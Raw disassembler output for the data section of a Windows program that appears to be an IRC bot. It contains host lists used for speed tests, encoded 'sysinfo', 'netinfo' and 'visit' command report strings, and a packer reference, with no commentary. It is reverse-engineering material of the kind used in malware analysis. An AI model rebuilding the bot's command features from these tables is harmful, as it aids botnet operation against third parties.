aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A038	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A114	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 4
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 4
dword_43A148	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A18C	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A190	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A194	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A19C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1AC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1DC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A208	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A224	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A260	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A27C	dd 2A2F2Ah		; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 678140A2h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C270h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433824h
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset byte_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
dword_43DECC	dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433764o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A50o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384C0o
dword_457444	dd 12416h dup(0)
		db 0
byte_4A049D	db 3 dup(0)		; DATA XREF: Themida_:loc_5498B7o
					; Themida_:0054E311o
		dd 5369h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_43832Co
		dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
